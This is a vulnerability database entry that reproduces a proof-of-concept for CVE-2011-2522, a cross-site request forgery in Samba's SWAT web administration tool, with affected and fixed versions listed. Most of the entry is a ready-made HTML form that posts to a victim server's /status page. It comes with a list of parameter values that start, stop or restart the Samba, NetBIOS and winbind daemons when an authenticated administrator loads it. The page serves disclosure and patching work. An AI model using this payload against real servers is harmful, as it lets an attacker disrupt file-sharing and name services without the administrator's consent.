Lucene search

RootSSV:20770

HistoryJul 28, 2011 - 12:00 a.m.

SWAT Samba Web Administration Tool Cross-Site Request Forgery PoC

2011-07-2800:00:00

Root

www.seebug.org

0.008 Low

EPSS

Percentile

79.5%

JSON

No description provided by source.


                                                &lt;!--
# Secur-I Research Group - Proof-of-Concept
# ==========================================================================
# Title: Cross-Site Request Forgery in SWAT (Samba Web Administration Tool)
# Vulnerable versions: Samba 3.0.x - 3.5.9 (inclusive)
# Fixed version: Samba 3.5.10
# Product Homepage: http://www.samba.org/
# CVE-ID: CVE-2011-2522
# References: http://www.samba.org/samba/security/CVE-2011-2522
# ==========================================================================
--&gt;
 
&lt;html&gt;
&lt;body&gt;
&lt;form method=post action=&quot;http://VULN_SERVER:901/status&quot;&gt;
&lt;input type=submit onclick=window.open(&quot;http://securview.com&quot;) name=&quot;VUL_PARM&quot; value=&quot;w00t!&quot;&gt;
&lt;/body&gt;
&lt;/html&gt;
 
&lt;!--
VUL_PARM could be one of the following:-
smbd_start, smbd_stop, smbd_restart : To start/stop/restart smbd(Samba) daemon
nmbd_start, nmbd_stop, nmbd_restart : To start/stop/restart nmbd(NETBIOS) daemon
winbindd_start, winbindd_stop, winbindd_restart : To start/stop/restart winbindd(Windows Name Service Switch) daemon
--&gt;
 
Thanks &amp; Regards,
Narendra.
 
Confidentiality: This e-mail and any attachments may be confidential and may also be privileged. If you are not an intended named recipient, please notify the sender immediately and do not disclose the contents to another person use it for any purpose, or store or copy the information in any medium.

0.008 Low

EPSS

Percentile

79.5%

JSON

SWAT Samba Web Administration Tool Cross-Site Request Forgery PoC

Related